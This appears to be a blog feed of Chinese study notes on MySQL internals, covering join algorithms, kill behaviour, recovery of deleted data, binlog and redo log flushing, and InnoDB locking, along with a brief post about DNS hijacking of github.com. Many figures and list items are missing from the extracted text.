由于表 t2 的字段 b 上没有索引,因此再用图 2 的执行流程时,每次到 t2 去匹配的时候,就要做一次全表扫描。
你可以先设想一下这个问题,继续使用图 2 的算法,是不是可以得到正确的结果呢?如果只看结果的话,这个算法是正确的,而且这个算法也有一个名字,叫做“Simple Nested-Loop Join”。
但是,这样算来,这个 SQL 请求就要扫描表 t2 多达 100 次,总共扫描 100*1000=10 万行。
这还只是两个小表,如果 t1 和 t2 都是 10 万行的表(当然了,这也还是属于小表的范围),就要扫描 100 亿行,这个算法看上去太“笨重”了。
当然,MySQL 也没有使用这个 Simple Nested-Loop Join 算法,而是使用了另一个叫作“Block Nested-Loop Join”的算法,简称 BNL。
这时候,被驱动表上没有可用的索引,算法的流程是这样的:
把表 t1 的数据读入线程内存 join_buffer 中,由于我们这个语句中写的是 select *,因此是把整个表 t1 放入了内存;
扫描表 t2,把表 t2 中的每一行取出来,跟 join_buffer 中的数据做对比,满足 join 条件的,作为结果集的一部分返回。
这个过程的流程图如下:
对应地,这条 SQL 语句的 explain 结果如下所示:
可以看到,在这个过程中,对表 t1 和 t2 都做了一次全表扫描,因此总的扫描行数是 1100。由于 join_buffer 是以无序数组的方式组织的,因此对表 t2 中的每一行,都要做 100 次判断,总共需要在内存中做的判断次数是:100*1000=10 万次。
前面我们说过,如果使用 Simple Nested-Loop Join 算法进行查询,扫描行数也是 10 万行。因此,从时间复杂度上来说,这两个算法是一样的。但是,Block Nested-Loop Join 算法的这 10 万次判断是内存操作,速度上会快很多,性能也更好。
接下来,我们来看一下,在这种情况下,应该选择哪个表做驱动表。
假设小表的行数是 N,大表的行数是 M,那么在这个算法里:
可以看到,调换这两个算式中的 M 和 N 没差别,因此这时候选择大表还是小表做驱动表,执行耗时是一样的。
然后,你可能马上就会问了,这个例子里表 t1 才 100 行,要是表 t1 是一个大表,join_buffer 放不下怎么办呢?
join_buffer 的大小是由参数 join_buffer_size 设定的,默认值是 256k。如果放不下表 t1 的所有数据话,策略很简单,就是分段放。我把 join_buffer_size 改成 1200,再执行上面的语句,执行过程就变成了:
执行流程图也变成了:
图中的步骤 4 和 5,表示清空 join_buffer 再复用。
这个流程才体现出了这个算法名字中“Block”的由来,表示“分块去 join”。
可以看到,这时候由于表 t1 被分成了两次放入 join_buffer 中,导致表 t2 会被扫描两次。虽然分成两次放入 join_buffer,但是判断等值条件的次数还是不变的,依然是 (88+12)*1000=10 万次。
我们再来看下,在这种情况下驱动表的选择问题。
假设,驱动表的数据行数是 N,需要分 K 段才能完成算法流程,被驱动表的数据行数是 M。
注意,这里的 K 不是常数,N 越大 K 就会越大,因此把 K 表示为λ*N,显然λ的取值范围是 (0,1)。
所以,在这个算法的执行过程中:
扫描行数是 N+λNM;
内存判断 N*M 次。
显然,内存判断次数是不受选择哪个表作为驱动表影响的。而考虑到扫描行数,在 M 和 N 大小确定的情况下,N 小一些,整个算式的结果会更小。
所以结论是,应该让小表当驱动表。
当然,你会发现,在 N+λNM 这个式子里,λ才是影响扫描行数的关键因素,这个值越小越好。
刚刚我们说了 N 越大,分段数 K 越大。那么,N 固定的时候,什么参数会影响 K 的大小呢?(也就是λ的大小)答案是 join_buffer_size。join_buffer_size 越大,一次可以放入的行越多,分成的段数也就越少,对被驱动表的全表扫描次数就越少。
这就是为什么,你可能会看到一些建议告诉你,如果你的 join 语句很慢,就把 join_buffer_size 改大。
理解了 Mysql 的两种 join 算法,现在再来试着回答文章开头的两个问题。
第一个问题:能不能使用 join 语句?
如何判断要不要使用 join 语句时,就是看 explain 结果里面,Extra 字段里面有没有出现“Block Nested Loop”字样。
第二个问题是:如果要使用 join,应该选择大表做驱动表还是选择小表做驱动表?
所以,这个问题的结论就是,总是应该使用小表做驱动表。
当然了,这里我需要说明下,什么叫作“小表”,并不是说哪张表的数据量小,哪个就是小表。
我们前面的例子是没有加条件的。如果我在语句的 where 条件加上 t2.id<=50 这个限定条件,再来看下这两条语句:
1 | select * from t1 straight_join t2 on (t1.b=t2.b) where t2.id<=50; |
注意,为了让两条语句的被驱动表都用不上索引,所以 join 字段都使用了没有索引的字段 b。
但如果是用第二个语句的话,join_buffer 只需要放入 t2 的前 50 行(t1 表需要把每一行取出来,跟 join_buffer 中的数据做对比),显然是更好的。所以这里,“t2 的前 50 行”是那个相对小的表,也就是“小表”。
我们再来看另外一组例子:
1 | select t1.b,t2.* from t1 straight_join t2 on (t1.b=t2.b) where t2.id<=100; |
这个例子里,表 t1 和 t2 都是只有 100 行参加 join。但是,这两条语句每次查询放入 join_buffer 中的数据是不一样的:
表 t1 只查字段 b,因此如果把 t1 放到 join_buffer 中,则 join_buffer 中只需要放入 b 的值;
表 t2 需要查所有的字段,因此如果把表 t2 放到 join_buffer 中的话,就需要放入三个字段 id、a 和 b。
这里,我们应该选择表 t1 作为驱动表。也就是说在这个例子里,“只需要一列参与 join 的表 t1”是那个相对小的表。
所以,更准确地说,在决定哪个表做驱动表的时候,应该是两个表按照各自的条件过滤,过滤完成之后,计算参与 join 的各个字段的总数据量,数据量小的那个表,就是“小表”,应该作为驱动表。
课程重点:
假设,现在需要对一个 200G 的 InnoDB 表 db1. t,执行一个全表扫描。当然,你要把扫描结果保存在客户端,会使用类似这样的命令:
1 | mysql -h$host -P$port -u$user -p$pwd -e "select * from db1.t" > target_file.sql |
InnoDB 的数据是保存在主键索引上的,所以全表扫描实际上是直接扫描表 t 的主键索引。这条查询语句由于没有其他的判断条件,所以查到的每一行都可以直接放到结果集里面,然后返回给客户端。
那么,这个“结果集”存在哪里呢?
实际上,服务端并不需要保存一个完整的结果集。取数据和发数据的流程是这样的:
这个过程对应的流程图如下所示。
从这个流程中,可以看到:
也就是说,MySQL 是“边读边发的”,这个概念很重要。这就意味着,如果客户端接收得慢,会导致 MySQL 服务端由于结果发不出去,这个事务的执行时间变长。
比如下面这个状态,就是我故意让客户端不去读 socket receive buffer 中的内容,然后在服务端 show processlist 看到的结果。
如果你看到 State 的值一直处于“Sending to client”,就表示服务器端的网络栈写满了。
在上一篇文章中曾提到,如果客户端使用–quick 参数,会使用 mysql_use_result 方法。这个方法是读一行处理一行。你可以想象一下,假设有一个业务的逻辑比较复杂,每读一行数据以后要处理的逻辑如果很慢,就会导致客户端要过很久才会去取下一行数据,可能就会出现上图所示的这种情况。
因此,对于正常的线上业务来说,如果一个查询的返回结果不会很多的话,我都建议你使用 mysql_store_result 这个接口,直接把查询结果保存到本地内存(Mysql 默认正是 mysql_store_result 这个接口)。
另一方面,如果你在自己负责维护的 MySQL 里看到很多个线程都处于“Sending to client”这个状态,就意味着你要让业务开发同学优化查询结果,并评估这么多的返回结果是否合理。
而如果要快速减少处于这个状态的线程的话,将 net_buffer_length 参数设置为一个更大的值是一个可选方案。
与“Sending to client”长相很类似的一个状态是“Sending data”,这是一个经常被误会的问题。有同学问我说,在自己维护的实例上看到很多查询语句的状态是“Sending data”,但查看网络也没什么问题啊,为什么 Sending data 要这么久?
实际上,一个查询语句的状态变化是这样的(注意:省略了其他无关的状态):
也就是说,“Sending data”并不一定是指“正在发送数据”,而可能是处于执行器过程中的任意阶段。比如,你可以构造一个锁等待的场景,就能看到 Sending data 状态。
可以看到,session B 明显是在等锁,状态却显示为 Sending data。
MySQL 采用的是边算边发的逻辑,因此对于数据量很大的查询结果来说,不会在 server 端保存完整的结果集。所以,如果客户端读结果不及时,会堵住 MySQL 的查询过程,但是不会把内存打爆。
全表扫描还是比较耗费 IO 资源的,所以业务高峰期还是不能直接在线上主库执行全表扫描的。
课程重点:
在 MySQL 中有两个 kill 命令:
大多数情况下,kill query/connection 命令是有效的。比如,执行一个查询的过程中,发现执行时间太久,要放弃继续查询,这时我们就可以用 kill query 命令,终止这条查询语句。
还有一种情况是,语句处于锁等待的时候,直接使用 kill 命令也是有效的。我们一起来看下这个例子:
可以看到,session C 执行 kill query 以后,session B 几乎同时就提示了语句被中断。 这就是我们预期的结果。
但是,这里你要停下来想一下:session B 是直接终止掉线程,什么都不管就直接退出吗?显然,这是不行的。
当对一个表做增删改查操作时,会在表上加 MDL 读锁。所以,session B 虽然处于 blocked 状态,但还是拿着一个 MDL 读锁的。如果线程被 kill 的时候,就直接终止,那之后这个 MDL 读锁就没机会被释放了。
这样看来,kill 并不是马上停止的意思,而是告诉执行线程说,这条语句已经不需要继续执行了,可以开始“执行停止的逻辑了”。
其实,这跟 Linux 的 kill 命令类似,kill -N pid 并不是让进程直接停止,而是给进程发一个信号,然后进程处理这个信号,进入终止逻辑。只是对于 MySQL 的 kill 命令来说,不需要传信号量参数,就只有“停止”这个命令。
实现上,当用户执行 kill query thread_id_B 时,MySQL 里处理 kill 命令的线程做了两件事:
为什么要发信号呢?
因为像图 1 的我们例子里面,session B 处于锁等待状态,如果只是把 session B 的线程状态设置 THD::KILL_QUERY,线程 B 并不知道这个状态变化,还是会继续等待。发一个信号的目的,就是让 session B 退出等待,来处理这个 THD::KILL_QUERY 状态。
上面的分析中,隐含了这么三层意思:
所以 kill 操作,不是说停就停的。
接下来,我们再看一个 kill 不掉的例子,也就是我们在前面第 29 篇文章中提到的 innodb_thread_concurrency 不够用的例子。
首先,执行 set global innodb_thread_concurrency=2
,将 InnoDB 的并发线程上限数 设置为 2;然后,执行下面的序列:
可以看到:
这时候,id=12 这个线程的 Commnad 列显示的是 Killed。也就是说,客户端虽然断开了连接,但实际上服务端上这条语句还在执行过程中。
为什么在执行 kill query 命令时,这条语句不像第一个例子的 update 语句一样退出呢?
在实现上,等行锁时,使用的是 pthread_cond_timedwait 函数,这个等待状态可以被唤醒。但是,在这个例子里,12 号线程的等待逻辑是这样的:每 10 毫秒判断一下是否可以进入 InnoDB 执行,如果不行,就调用 nanosleep 函数进入 sleep 状态。
也就是说,虽然 12 号线程的状态已经被设置成了 KILL_QUERY,但是在这个等待进入 InnoDB 的循环过程中,并没有去判断线程的状态,因此根本不会进入终止逻辑阶段。
而当 session E 执行 kill connection 命令时,是这么做的:
那为什么执行 show processlist 的时候,会看到 Command 列显示为 killed 呢?其实,这就是因为在执行 show processlist 的时候,有一个特别的逻辑:如果一个线程的状态是 KILL_CONNECTION,就把 Command 列显示成 Killed。
所以其实,即使是客户端退出了,这个线程的状态仍然是在等待中。
那这个线程什么时候会退出呢?
答案是,只有等到满足进入 InnoDB 的条件后,session C 的查询语句继续执行,然后才有可能判断到线程状态已经变成了 KILL_QUERY 或者 KILL_CONNECTION,再进入终止逻辑阶段。
到这里,我们来小结一下。
这个例子是 kill 无效的第一类情况,即:线程没有执行到判断线程状态的逻辑。 跟这种情况相同的,还有由于 IO 压力过大,读写 IO 的函数一直无法返回,导致不能及时判断线程的状态。
另一类情况是,终止逻辑耗时较长。 这时候,从 show processlist 结果上看也是 Command=Killed,需要等到终止逻辑完成,语句才算真正完成。这类情况,比较常见的场景有以下几种:
这里有一个问题:如果直接在客户端通过 Ctrl+C 命令,是不是就可以直接终止线程呢?
答案是,不可以。
这是因为,其实在客户端的操作只能操作到客户端的线程,客户端和服务端只能通过网络交互,是不可能直接操作服务端线程的。
而由于 MySQL 是停等协议,所以这个线程执行的语句还没有返回的时候,再往这个连接里面继续发命令也是没有用的。实际上,执行 Ctrl+C 的时候,是 MySQL 客户端另外启动一个连接,然后发送一个 kill query 命令。
所以,你可别以为在客户端执行完 Ctrl+C 就万事大吉了。因为,要 kill 掉一个线程,还涉及到后端的很多操作。
最常见的一个误解就是:如果库里面的表特别多,连接就会很慢。
从第一篇文章就可以知道,每个客户端在和服务端建立连接的时候,需要做的事情就是 TCP 握手、用户校验、获取权限。但这几个操作,显然跟库里面表的个数无关。
但实际上,正如图中的文字提示所说的,当使用默认参数连接的时候,MySQL 客户端会提供一个本地库名和表名补全的功能。为了实现这个功能,客户端在连接成功后,需要多做一些操作:
在这些操作中,最花时间的就是第三步在本地构建哈希表的操作(用于 Tab 键自动补全表名或者显示提示)。所以,当一个库中的表个数非常多的时候,这一步就会花比较长的时间。
也就是说,我们感知到的连接过程慢,其实并不是连接慢,也不是服务端慢,而是客户端慢。
MySQL 客户端发送请求后,接收服务端返回结果的方式有两种:
MySQL 客户端默认采用第一种方式,而如果加上–quick 参数,就会使用第二种不缓存的方式。
解决这个问题的方案有两个:
两个参数都可以跳过表名自动补全功能。
课程重点:
为了找到解决误删数据的更高效的方法,我们需要先对和 MySQL 相关的误删数据,做下 分类:
如果是使用 delete 语句误删了数据行,可以用 Flashback 工 具通过闪回把数据恢复回来。
Flashback 恢复数据的原理,是修改 binlog 的内容,拿回原库重放。而能够使用这个方案 的前提是,需要确保 binlog_format=row 和 binlog_row_image=FULL。
具体恢复数据时,对单个事务做如下处理:
如果误操作不是一个,而是多个,会怎么样呢?比如下面三个事务:
1 | (A)delete ... |
现在要把数据库恢复回这三个事务操作之前的状态,用 Flashback 工具解析 binlog 后,写 回主库的命令是:
1 | (reverse C)update ... |
也就是说,如果误删数据涉及到了多个事务的话,需要将事务的顺序调过来再执行。
需要说明的是,我不建议你直接在主库上执行这些操作。
恢复数据比较安全的做法,是恢复出一个备份,或者找一个从库作为临时库,在这个临时库上执行这些操作,然后再将确认过的临时库的数据,恢复回主库。
为什么要这么做呢?
这是因为,一个在执行线上逻辑的主库,数据状态的变更往往是有关联的。可能由于发现数据问题的时间晚了一点儿,就导致已经在之前误操作的基础上,业务代码逻辑又继续修改了其他数据。所以,如果这时候单独恢复这几行数据,而又未经确认的话,就可能会出现对数据的二次破坏。
当然,我们不止要说误删数据的事后处理办法,更重要是要做到事前预防。我有以下两个建议:
你可能会说,设置了 sql_safe_updates=on,如果我真的要把一个小表的数据全部删掉, 应该怎么办呢?
如果你确定这个删除操作没问题的话,可以在 delete 语句中加上 where 条件,比如 where id>=0。
但是,delete 全表是很慢的,需要生成回滚日志、写 redo、写 binlog。所以,从性能角 度考虑,你应该优先考虑使用 truncate table 或者 drop table 命令。
使用 delete 命令删除的数据,你还可以用 Flashback 来恢复。而使用 truncate /drop table 和 drop database 命令删除的数据,就没办法通过 Flashback 来恢复了。为什么 呢?
这是因为,即使我们配置了 binlog_format=row,执行这三个命令时,记录的 binlog 还 是 statement 格式。binlog 里面就只有一个 truncate/drop 语句,这些信息是恢复不出 数据的。
那么,如果我们真的是使用这几条命令误删数据了,又该怎么办呢?
这种情况下,要想恢复数据,就需要使用全量备份,加增量日志的方式了。这个方案要求线上有定期的全量备份,并且实时备份 binlog。
在这两个条件都具备的情况下,假如有人中午 12 点误删了一个库,恢复数据的流程如下:
这个流程的示意图如下所示:
关于这个过程,我需要和你说明如下几点:
不过,即使这样,使用 mysqlbinlog 方法恢复数据还是不够快,主要原因有两个:
一种加速的方法是,在用备份恢复出临时实例之后,将这个临时实例设置成线上备库的从库,这样:
这个过程的示意图如下所示。
可以看到,图中 binlog 备份系统到线上备库有一条虚线,是指如果由于时间太久,备库上 已经删除了临时实例需要的 binlog 的话,我们可以从 binlog 备份系统中找到需要的 binlog,再放回备库中。
假设,我们发现当前临时实例需要的 binlog 是从 master.000005 开始的,但是在备库上 执行 show binlogs 显示的最小的 binlog 文件是 master.000007,意味着少了两个 binlog 文件。
这时,我们就需要去 binlog 备份系统中找到这两个文件。把之前删掉的 binlog 放回备库的操作步骤,是这样的:
不论是把 mysqlbinlog 工具解析出的 binlog 文件应用到临时库,还是把临时库接到备库 上,这两个方案的共同点是:误删库或者表后,恢复数据的思路主要就是通过备份,再加上 应用 binlog 的方式。
也就是说,这两个方案都要求备份系统定期备份全量日志,而且需要确保 binlog 在被从本 地删除之前已经做了备份。
但是,一个系统不可能备份无限的日志,你还需要根据成本和磁盘空间资源,设定一个日志 保留的天数。如果你的 DBA 团队告诉你,可以保证把某个实例恢复到半个月内的任意时间 点,这就表示备份系统保留的日志时间就至少是半个月。
另外,我建议你不论使用上述哪种方式,都要把这个数据恢复功能做成自动化工具,并且经常拿出来演练。为什么这么说呢?
这这里的原因,主要包括两个方面:
虽然常在河边走,很难不湿鞋,但终究还是可以找到一些方法来避免的。所以这里,我也会给你一些减少误删操作风险的建议。
第一条建议是,账号分离。这样做的目的是,避免写错命令。比如:
第二条建议是,制定操作规范。这样做的目的,是避免写错要删除的表名。比如:
github.com
,直接就是打不开了,起初并没有多想,可能只是网络较差吧。知道最近写博客时,需要把图片上传到图床上,但是失败了。
错误日志如下:
1 | RequestError: Error: connect ECONNREFUSED 127.0.0.1:443 |
看到这个日志之后,我的第一反应是,怎么请求的是 127.0.0.1
呢?
然后在本地 ping 了一下 github.com
:
咦,返回的地址竟然是 127.0.0.1
,我还以为是设置了本地域名的关系,结果看了一下,并没有github.com
这个域名。
于是通过站长工具的 DNS 查询功能进行查询,结果如下:
广东电信,竟然把 DNS 给劫持了,这个 127.0.0.1
显然是运营商解析的。
于是将正确的地址,配置在 hosts 之后,再次通过图床进行上传,就可以了。
]]>课程重点:
其实,binlog 的写入逻辑比较简单:事务执行过程中,先把日志写到 binlog cache,事务提交的时候,再把 binlog cache 写到 binlog 文件中。
一个事务的 binlog 是不能被拆开的,因此不论这个事务多大,也要确保一次性写入。这就涉及到了 binlog cache 的保存问题。
系统给 binlog cache 分配了一片内存,每个线程一个,参数 binlog_cache_size 用于控制单个线程内 binlog cache 所占内存的大小。如果超过了这个参数规定的大小,就要暂存到磁盘。
事务提交的时候,执行器把 binlog cache 里的完整事务写入到 binlog 中,并清空 binlog cache。状态如图所示。
可以看到,每个线程有自己 binlog cache,但是共用同一份 binlog 文件。
write 和 fsync 的时机,是由参数 sync_binlog 控制的:
因此,在出现 IO 瓶颈的场景里,将 sync_binlog 设置成一个比较大的值,可以提升性能。在实际的业务场景中,考虑到丢失日志量的可控性,一般不建议将这个参数设成 0,比较常见的是将其设置为 100~1000 中的某个数值。
但是,将 sync_binlog 设置为 N,对应的风险是:如果主机发生异常重启,会丢失最近 N 个事务的 binlog 日志。
事务在执行过程中,生成的 redo log 是要先写到 redo log buffer 的。
那么 redo log buffer 里面的内容,是不是每次生成后都要直接持久化到磁盘呢?
答案是,不需要。
如果事务执行期间 MySQL 发生异常重启,那这部分日志就丢了。由于事务并没有提交,所以这时日志丢了也不会有损失。
那么,另外一个问题是,事务还没提交的时候,redo log buffer 中的部分日志有没有可能被持久化到磁盘呢?
答案是,确实会有。
这个问题,要从 redo log 可能存在的三种状态说起。这三种状态,对应的就是图 2 中的三个颜色块。
这三种状态分别是:
日志写到 redo log buffer 是很快的,wirte 到 page cache 也差不多,但是持久化到磁盘的速度就慢多了。
为了控制 redo log 的写入策略,InnoDB 提供了 innodb_flush_log_at_trx_commit 参数,它有三种可能取值:
InnoDB 有一个后台线程,每隔 1 秒,就会把 redo log buffer 中的日志,调用 write 写到文件系统的 page cache,然后调用 fsync 持久化到磁盘。
注意,事务执行中间过程的 redo log 也是直接写在 redo log buffer 中的,这些 redo log 也会被后台线程一起持久化到磁盘。也就是说,一个没有提交的事务的 redo log,也是可能已经持久化到磁盘的。
实际上,除了后台线程每秒一次的轮询操作外,还有两种场景会让一个没有提交的事务的 redo log 写入到磁盘中。
这里需要说明的是,我们介绍两阶段提交的时候说过,时序上 redo log 先 prepare, 再写 binlog,最后再把 redo log commit。
如果把 innodb_flush_log_at_trx_commit 设置成 1,那么 redo log 在 prepare 阶段就要持久化一次,因为有一个崩溃恢复逻辑是要依赖于 prepare 的 redo log,再加上 binlog 来恢复的。
每秒一次后台轮询刷盘,再加上崩溃恢复这个逻辑,InnoDB 就认为 redo log 在 commit 的时候就不需要 fsync 了,只会 write 到文件系统的 page cache 中就够了。
通常我们说 MySQL 的“双 1”配置,指的就是 sync_binlog 和 innodb_flush_log_at_trx_commit 都设置成 1。也就是说,一个事务完整提交前,需要等待两次刷盘,一次是 redo log(prepare 阶段),一次是 binlog。
这时候,你可能有一个疑问,这意味着我从 MySQL 看到的 TPS 是每秒两万的话,每秒就会写四万次磁盘。但是,我用工具测试出来,磁盘能力也就两万左右,怎么能实现两万的 TPS?
解释这个问题,就要用到组提交(group commit)机制了。
这里,我需要先和你介绍日志逻辑序列号(log sequence number,LSN)的概念。LSN 是单调递增的,用来对应 redo log 的一个个写入点。每次写入长度为 length 的 redo log, LSN 的值就会加上 length。
LSN 也会写到 InnoDB 的数据页中,来确保数据页不会被多次执行重复的 redo log。关于 LSN 和 redo log、checkpoint 的关系,我会在后面的文章中详细展开。
如图 3 所示,是三个并发事务 (trx1, trx2, trx3) 在 prepare 阶段,都写完 redo log buffer,持久化到磁盘的过程,对应的 LSN 分别是 50、120 和 160。
从图中可以看到:
所以,一次组提交里面,组员越多,节约磁盘 IOPS 的效果越好。但如果只有单线程压测,那就只能老老实实地一个事务对应一次持久化操作了。
在并发更新场景下,第一个事务写完 redo log buffer 以后,接下来这个 fsync 越晚调用,组员可能越多,节约 IOPS 的效果就越好。
为了让一次 fsync 带的组员更多,MySQL 有一个很有趣的优化:拖时间。在介绍两阶段提交的时候,我曾经给你画了一个图,现在我把它截过来。
图中,我把“写 binlog”当成一个动作。但实际上,写 binlog 是分成两步的:
先把 binlog 从 binlog cache 中写到磁盘上的 binlog 文件;
调用 fsync 持久化。
MySQL 为了让组提交的效果更好,把 redo log 做 fsync 的时间拖到了步骤 1 之后。也就是说,上面的图变成了这样:
这么一来,binlog 也可以组提交了。在执行图 5 中第 4 步把 binlog fsync 到磁盘时,如果有多个事务的 binlog 已经写完了,也是一起持久化的,这样也可以减少 IOPS 的消耗。
不过通常情况下第 3 步执行得会很快,所以 binlog 的 write 和 fsync 间的间隔时间短,导致能集合到一起持久化的 binlog 比较少,因此 binlog 的组提交的效果通常不如 redo log 的效果那么好。
如果你想提升 binlog 组提交的效果,可以通过设置 binlog_group_commit_sync_delay 和 binlog_group_commit_sync_no_delay_count 来实现。
所以,当 binlog_group_commit_sync_delay 设置为 0 的时候,binlog_group_commit_sync_no_delay_count 也无效了。
之前有同学在评论区问到,WAL 机制是减少磁盘写,可是每次提交事务都要写 redo log 和 binlog,这磁盘读写次数也没变少呀?
现在你就能理解了,WAL 机制主要得益于两个方面:
分析到这里,我们再来回答这个问题:如果你的 MySQL 现在出现了性能瓶颈,而且瓶颈在 IO 上,可以通过哪些方法来提升性能呢?
针对这个问题,可以考虑以下三种方法:
我不建议你把 innodb_flush_log_at_trx_commit 设置成 0。因为把这个参数设置成 0,表示 redo log 只保存在内存中,这样的话 MySQL 本身异常重启也会丢数据,风险太大。而 redo log 写到文件系统的 page cache 的速度也是很快的,所以将这个参数设置成 2 跟设置成 0 其实性能差不多,但这样做 MySQL 异常重启时就不会丢数据了,相比之下风险会更小。
课程重点:
正常的短连接模式就是连接到数据库后,执行很少的 SQL 语句就断开,下次需要的时候再重连。如果使用的是短连接,在业务高峰期的时候,就可能出现连接数突然暴涨的情况。
MySQL 建立连接的过程,成本是很高的。除了正常的网络连接三次握手外,还需要做登录权限判断和获得这个连接的数据读写权限。在数据库压力比较小的时候,这些额外的成本并不明显。
但是,短连接模型存在一个风险,就是一旦数据库处理得慢一些,连接数就会暴涨。max_connections 参数,用来控制一个 MySQL 实例同时存在的连接数的上限,超过这个值,系统就会拒绝接下来的连接请求,并报错提示“Too many connections”。对于被拒绝连接的请求来说,从业务角度看就是数据库不可用。
在机器负载比较高的时候,处理现有请求的时间变长,每个连接保持的时间也更长。这时,再有新建连接的话,就可能会超过 max_connections 的限制。
碰到这种情况时,一个比较自然的想法,就是调高 max_connections 的值。但这样做是有风险的。因为设计 max_connections 这个参数的目的是想保护 MySQL,如果我们把它改得太大,让更多的连接都可以进来,那么系统的负载可能会进一步加大,大量的资源耗费在权限验证等逻辑上,结果可能是适得其反,已经连接的线程拿不到 CPU 资源去执行业务的 SQL 请求。
那么这种情况下,你还有没有别的建议呢?我这里还有两种方法,但要注意,这些方法都是有损的。
max_connections 的计算,不是看谁在 running,是只要连着就占用一个计数位置。对于那些不需要保持的连接,我们可以通过 kill connection 主动踢掉。这个行为跟事先设置 wait_timeout 的效果是一样的。设置 wait_timeout 参数表示的是,一个线程空闲 wait_timeout 这么多秒之后,就会被 MySQL 直接断开连接。
从数据库端主动断开连接可能是有损的,尤其是有的应用端收到这个错误后,不重新连接,而是直接用这个已经不能用的句柄重试查询。这会导致从应用端看上去,“MySQL 一直没恢复”。
有的业务代码会在短时间内先大量申请数据库连接做备用,如果现在数据库确认是被连接行为打挂了,那么一种可能的做法,是让数据库跳过权限验证阶段。
跳过权限验证的方法是:重启数据库,并使用–skip-grant-tables 参数启动。这样,整个 MySQL 会跳过所有的权限验证阶段,包括连接过程和语句执行过程在内。
但是,这种方法特别符合我们标题里说的“饮鸩止渴”,风险极高,是我特别不建议使用的方案。尤其你的库外网可访问的话,就更不能这么做了。
在 MySQL 8.0 版本里,如果你启用–skip-grant-tables 参数,MySQL 会默认把 –skip-networking 参数打开,表示这时候数据库只能被本地的客户端连接。可见,MySQL 官方对 skip-grant-tables 这个参数的安全问题也很重视。
除了短连接数暴增可能会带来性能问题外,实际上,我们在线上碰到更多的是查询或者更新语句导致的性能问题。其中,查询问题比较典型的有两类,一类是由新出现的慢查询导致的,一类是由 QPS(每秒查询数)突增导致的。而关于更新语句导致的性能问题,我会在下一篇文章和你展开说明。
在 MySQL 中,会引发性能问题的慢查询,大体有以下三种可能:
这种场景一般就是通过紧急创建索引来解决。MySQL 5.6 版本以后,创建索引都支持 Online DDL 了,对于那种高峰期数据库已经被这个语句打挂了的情况,最高效的做法就是直接执行 alter table 语句。
比如,我们犯了在第 18 篇文章《为什么这些 SQL 语句逻辑相同,性能却差异巨大?》中提到的那些错误,导致语句没有使用上索引。
这时,我们可以通过改写 SQL 语句来处理。MySQL 5.7 提供了 query_rewrite 功能,可以把输入的一种语句改写成另外一种模式。
还有一个可能就是碰上了我们在第 10 篇文章《MySQL 为什么有时候会选错索引?》中提到的情况,MySQL 选错了索引。
这时候,应急方案就是给这个语句加上 force index。
同样地,使用查询重写功能,给原来的语句加上 force index,也可以解决这个问题。
有时候由于业务突然出现高峰,或者应用程序 bug,导致某个语句的 QPS 突然暴涨,也可能导致 MySQL 压力过大,影响服务。
对于这类问题,最理想的情况是让业务把这个功能下掉,服务自然就会恢复。
当然,这个操作的风险很高,需要你特别细致。它可能存在两个副作用:
课程重点:
下面的示例都是基于表 t 进行展开的,建表和初始化语句如下:
1 | CREATE TABLE `t` ( |
下面所有案例都是在可重复读隔离级别 (repeatable-read) 下验证的。同时,可重复读隔离级别遵守两阶段锁协议,所有加锁的资源,都是在事务提交或者回滚的时候才释放的。
加锁规则:
等值条件操作间隙:
当使用 update t set d=d+1 where id = 7
时,就给表 t 的 6 个记录加上了行锁,还同时加了 7 个间隙锁。
由于表 t 中没有 id=7 的记录,所以用我们上面提到的加锁规则判断一下的话:
所以,session B 要往这个间隙里面插入 id=8 的记录会被锁住,但是 session C 修改 id=10 这行是可以的。
覆盖索引上的锁:
session A 的查询是覆盖索引,并且使用 lock in share mode,因此索引 c 上 c=5 的这一行会被加上读锁。
由于session C 要插入一个 (7,7,7) 的记录,因此会被 session A 的间隙锁 (5,10) 锁住。
1 | mysql> select * from t where id=10 for update; |
在逻辑上,这两条查语句肯定是等价的,但是它们的加锁规则不太一样。现在,我们就让 session A 执行第二个查询语句,来看看加锁效果。
所以,session A 这时候锁的范围就是主键索引上,行锁 id=10 和 next-key lock(10,15]。这样,session B 和 session C 的结果你就能理解了。
需要注意的是,首次 session A 定位查找 id=10 的行的时候,是当做等值查询来判断的,而向右扫描到 id=15 的时候,用的是范围查询判断。
案例四和案例三很像,区别在于案例四使用的是非唯一索引,也就是不会触发优化规则。
在第一次用 c=10 定位记录的时候,索引 c 上加了 (5,10] 这个 next-key lock 后,由于索引 c 是非唯一索引,没有优化规则,也就是说不会蜕变为行锁,因此最终 sesion A 加的锁是,索引 c 上的 (5,10] 和 (10,15] 这两个 next-key lock。
所以从结果上来看,sesson B 要插入(8,8,8) 的这个 insert 语句时就被堵住了。
这里需要扫描到 c=15 才停止扫描,是合理的,因为 InnoDB 要扫到 c=15,才知道不需要继续往后找了。
前面的四个案例,我们已经用到了加锁规则中的两个原则和两个优化,接下来再看一个关于加锁规则中 bug 的案例。
session A 是一个范围查询,按照原则 1 的话,应该是索引 id 上只加 (10,15] 这个 next-key lock,并且因为 id 是唯一键,所以循环判断到 id=15 这一行就应该停止了。
但是实现上,InnoDB 会往前扫描到第一个不满足条件的行为止,也就是 id=20。而且由于这是个范围扫描,因此索引 id 上的 (15,20] 这个 next-key lock 也会被锁上。
所以你看到了,session B 要更新 id=20 这一行,是会被锁住的。同样地,session C 要插入 id=16 的一行,也会被锁住。
接下来的例子,是为了更好地说明“间隙”这个概念。这里,我给表 t 插入一条新记录。
1 | insert into t values(30,10,30); |
新插入的这一行,c的值也是 10,因为 c 是非唯一索引,而非唯一索引上包含主键的值。那么,这时候索引 c 上的间隙是什么状态了呢?
索引c 对应的主键的值如下图所示:
可以看到,虽然有两个 c=10,但是它们的主键值 id 是不同的(分别是 10 和 30),因此这两个 c=10 的记录之间,也是有间隙的。
为了跟间隙锁的开区间形式进行区别,我用 (c=10,id=30) 这样的形式,来表示索引上的一行。
案例六使用 delete 语句来验证。delete 语句加锁的逻辑,其实跟 select … for update 是类似的,也是遵守两个”原则“、两个”优化“以及一个”bug“。
这时,session A 在遍历的时候,先访问第一个 c=10 的记录。同样地,根据原则 1,这里加的是 (c=5,id=5) 到 (c=10,id=10) 这个 next-key lock。
然后,session A 向右查找,直到碰到 (c=15,id=15) 这一行,循环才结束。根据优化 2,这是一个等值查询,向右查找到了不满足条件的行,所以会退化成 (c=10,id=10) 到 (c=15,id=15) 的间隙锁。
也就是说,这个 delete 语句在索引 c 上的加锁范围,就是下图中蓝色区域覆盖的部分。
这个蓝色区域左右两边都是虚线,表示开区间,即 (c=5,id=5) 和 (c=15,id=15) 这两行上都没有锁。
案例六的对照案例:
